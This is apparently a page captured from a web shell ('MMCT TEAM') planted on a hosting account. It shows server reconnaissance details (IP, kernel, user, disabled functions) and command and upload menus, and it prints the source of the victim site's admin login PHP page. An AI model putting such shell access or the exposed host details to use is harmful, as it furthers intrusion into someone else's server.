MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/public_html/invoice/../todshut-admin/../todshut-admin/apps/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/public_html/invoice/../todshut-admin/../todshut-admin/apps/../index.php
<?php
require_once 'db.php';

// Check if user is already logged in
if (checkSession()) {
    header("Location: apps/ecommerce/catalog/products.php");
    exit();
}

$error = '';
$reset_error = '';
$reset_success = '';
$otp_message = '';

// Handle login form submission
if ($_SERVER["REQUEST_METHOD"] == 'POST' && isset($_POST['login'])) {
    $mail = filter_input(INPUT_POST, 'mail', FILTER_SANITIZE_EMAIL);
    $password = $_POST['password'];
    
    error_log("Login attempt - Raw input:");
    error_log("Email: " . $mail);
    error_log("Password length: " . strlen($password));
    
    if (handleLogin($mail, $password)) {
        error_log("Login successful - Redirecting...");
        header("Location: apps/ecommerce/catalog/products.php");
        exit();
    } else {
        error_log("Login failed");
        $error = "Invalid login details. Try again.";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <title>TDS Admin Hub</title>
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
    <link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
    <link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
    	<link rel="shortcut icon" href="assets/logo/favicon.ico" />
    <style>
    /* Hide all sections by default */
    .login-section,
    .reset-section,
    .otp-section {
        display: none;
    }

    /* Show login section by default */
    .login-section {
        display: block;
    }

    /* Section visibility classes */
    .show-login .login-section { display: block; }
    .show-login .reset-section,
    .show-login .otp-section { display: none; }

    .show-reset .reset-section { display: block; }
    .show-reset .login-section,
    .show-reset .otp-section { display: none; }

    .show-otp .otp-section { display: block; }
    .show-otp .login-section,
    .show-otp .reset-section { display: none; }

    /* Enhanced error state styling */
    .is-invalid {
        border-color: #dc3545 !important;
        background-color: rgba(220, 53, 69, 0.1) !important;
    }
    .error-feedback {
        color: #dc3545;
        font-size: 0.875rem;
        margin-top: 0.25rem;
    }
  @media only screen and (max-width: 480px) {
    .p-smm-00 {
        padding-left: 0 !important;
        padding-right: 0 !important;
    }
    .login-section{
        width:300px !important;
    }
}

</style>
</head>
<body id="kt_body" class="app-blank app-blank">
    <div class="d-flex flex-column flex-root" id="kt_app_root">
        <div class="d-flex flex-column flex-lg-row flex-column-fluid">
            <div class="d-flex flex-column flex-lg-row-fluid w-lg-50 p-10 order-2 order-lg-1">
                <div class="d-flex flex-center flex-column flex-lg-row-fluid">
                    <div class="w-lg-500px p-10 p-smm-00">
                        <!-- Login Form -->
                        <div class="login-section">
                            <form class="form w-100" method="POST">
                                <div class="text-center mb-11">
                                    <h1 class="text-dark fw-bolder mb-3">Sign In</h1>
                                </div>

                                <?php if (!empty($error)): ?>
                                    <div class="alert alert-danger text-center">
                                        <?php echo htmlspecialchars($error); ?>
                                    </div>
                                <?php endif; ?>

                                <div class="fv-row mb-8">
                                    <input type="text" placeholder="Email" name="mail" autocomplete="off" class="form-control bg-transparent" required />
                                </div>
                                <div class="fv-row mb-8">
                                    <input type="password" placeholder="Password" name="password" autocomplete="off" class="form-control bg-transparent" required />
                                </div>
                                <!--<div class="d-flex flex-stack flex-wrap gap-3 fs-base fw-semibold mb-8">-->
                                <!--    <a href="#" class="link-primary" id="show-reset-form">Reset Password?</a>-->
                                <!--</div>-->
                                <div class="d-grid mb-10">
                                    <button type="submit" name="login" class="btn btn-primary">
                                        <span class="indicator-label">Sign In</span>
                                    </button>
                                </div>
                            </form>
                        </div>

                        <!-- Request OTP Form -->
                        <div class="reset-section">
                            <form class="form w-100" method="POST">
                                <div class="text-center mb-11">
                                    <h1 class="text-dark fw-bolder mb-3">Reset Password</h1>
                                </div>

                                <?php if (!empty($reset_error)): ?>
                                    <div class="alert alert-danger text-center">
                                        <?php echo htmlspecialchars($reset_error); ?>
                                    </div>
                                <?php endif; ?>

                                <div class="fv-row mb-8">
                                    <input type="email" placeholder="Enter Email" name="reset_mail" value="<?php echo isset($_POST['reset_mail']) ? htmlspecialchars($_POST['reset_mail']) : ''; ?>" class="form-control bg-transparent" required />
                                </div>
                                <div class="d-flex flex-stack flex-wrap gap-3 fs-base fw-semibold mb-8">
                                    <a href="#" class="link-primary" id="show-login-form">Back to Login</a>
                                </div>
                                <div class="d-grid mb-10">
                                    <button type="submit" name="request_otp" class="btn btn-primary">
                                        <span class="indicator-label">Request OTP</span>
                                    </button>
                                </div>
                            </form>
                        </div>

                        <!-- OTP Verification and Password Reset Form -->
                        <div class="otp-section">
                            <form class="form w-100" method="POST">
                                <div class="text-center mb-11">
                                    <h1 class="text-dark fw-bolder mb-3">Verify OTP & Reset Password</h1>
                                </div>

                                <?php if (!empty($otp_message)): ?>
                                    <div class="alert alert-info text-center">
                                        <?php echo htmlspecialchars($otp_message); ?>
                                    </div>
                                <?php endif; ?>

                                <?php if (!empty($reset_success)): ?>
                                    <div class="alert alert-success text-center">
                                        <?php echo htmlspecialchars($reset_success); ?>
                                    </div>
                                <?php endif; ?>

                                <input type="hidden" name="reset_mail" value="<?php echo isset($_SESSION['reset_email']) ? htmlspecialchars($_SESSION['reset_email']) : ''; ?>" />
                                
                                <div class="fv-row mb-8">
                                    <input type="text" placeholder="Enter 6-digit OTP" name="otp" class="form-control bg-transparent" required maxlength="6" pattern="\d{6}" />
                                </div>
                                <div class="fv-row mb-8">
                                    <input type="password" placeholder="New Password" name="new_password" class="form-control bg-transparent" required />
                                </div>
                                <div class="fv-row mb-8">
                                    <input type="password" placeholder="Confirm New Password" name="confirm_password" class="form-control bg-transparent" required />
                                </div>
                                <div class="d-flex flex-stack flex-wrap gap-3 fs-base fw-semibold mb-8">
                                    <a href="#" class="link-primary" id="back-to-reset">Back</a>
                                </div>
                                <div class="d-grid mb-10">
                                    <button type="submit" name="reset_password" class="btn btn-primary">
                                        <span class="indicator-label">Reset Password</span>
                                    </button>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
            
            <div class="d-flex flex-row-fluid w-lg-50 bgi-size-cover bgi-position-center order-1 order-lg-2" style="background-image: url(assets/media/misc/auth-bg.png)">
                <div class="d-flex flex-column flex-center py-7 py-lg-15 px-5 px-md-15 w-100">
                    <img class="d-lg-block mx-auto w-275px w-md-50 w-xl-500px mb-10 mb-lg-20" src="assets/media/logos/LOGO.png" alt="" />
                    <h1 class="d-none d-lg-block text-white fs-2qx fw-bolder text-center mb-7">Admin Panel</h1>
                    	<div class="d-none d-lg-block text-white fs-base text-center">Effortlessly manage and update your website with our user-friendly<br> admin panel. Experience seamless updates and security access to<br> ensure smooth and efficient website management</div>
                </div>
            </div>
        </div>
    </div>

    <script src="assets/plugins/global/plugins.bundle.js"></script>
    <script src="assets/js/scripts.bundle.js"></script>
    <script>
document.addEventListener('DOMContentLoaded', function() {
    function toggleSection(sectionClass) {
        // Remove all section classes
        document.body.classList.remove('show-login', 'show-reset', 'show-otp');
        
        // Add the desired section class
        if (sectionClass) {
            document.body.classList.add(sectionClass);
        }
    }

    function resetForms() {
        var forms = document.querySelectorAll('form');
        forms.forEach(function(form) {
            form.reset();
            // Remove error classes
            form.querySelectorAll('.is-invalid').forEach(el => el.classList.remove('is-invalid'));
            form.querySelectorAll('.error-feedback').forEach(el => el.remove());
        });
    }

    // Set initial state to login section
    toggleSection('show-login');

    // Add error handling for each form
    const errorMap = {
        <?php if (!empty($validation_errors)): ?>
            <?php foreach ($validation_errors as $field => $error): ?>
                '<?php echo $field; ?>': '<?php echo addslashes($error); ?>',
            <?php endforeach; ?>
        <?php endif; ?>
    };

    function displayErrors() {
        Object.keys(errorMap).forEach(function(field) {
            const input = document.querySelector(`[name="${field}"]`);
            if (input) {
                input.classList.add('is-invalid');
                const errorDiv = document.createElement('div');
                errorDiv.className = 'error-feedback';
                errorDiv.textContent = errorMap[field];
                input.parentNode.insertBefore(errorDiv, input.nextSibling);
            }
        });

        // Determine which section to show based on errors
        <?php if (!empty($validation_errors)): ?>
            <?php if (isset($validation_errors['otp']) || isset($validation_errors['new_password']) || isset($validation_errors['confirm_password'])): ?>
                toggleSection('show-otp');
            <?php elseif (isset($validation_errors['reset_mail'])): ?>
                toggleSection('show-reset');
            <?php endif; ?>
        <?php endif; ?>
    }

    // Initial error display
    displayErrors();

    // Event listeners for navigation between sections
    document.getElementById('show-reset-form').addEventListener('click', function(e) {
        e.preventDefault();
        resetForms();
        toggleSection('show-reset');
    });

    document.getElementById('show-login-form').addEventListener('click', function(e) {
        e.preventDefault();
        resetForms();
        toggleSection('show-login');
    });

    document.getElementById('back-to-reset').addEventListener('click', function(e) {
        e.preventDefault();
        resetForms();
        toggleSection('show-reset');
    });

    // Handle OTP section visibility
    <?php 
    if (isset($_SESSION['show_otp_section']) && $_SESSION['show_otp_section'] === true || !empty($otp_message)): 
    ?>
        toggleSection('show-otp');
    <?php 
    endif; 
    ?>

    // Success message handling
    <?php if(isset($_SESSION['reset_success'])): ?>
        alert("<?php echo $_SESSION['reset_success']; ?>");
        <?php unset($_SESSION['reset_success']); ?>
        toggleSection('show-login');
    <?php endif; ?>
});
</script>
</body>
</html>

MMCT - 2023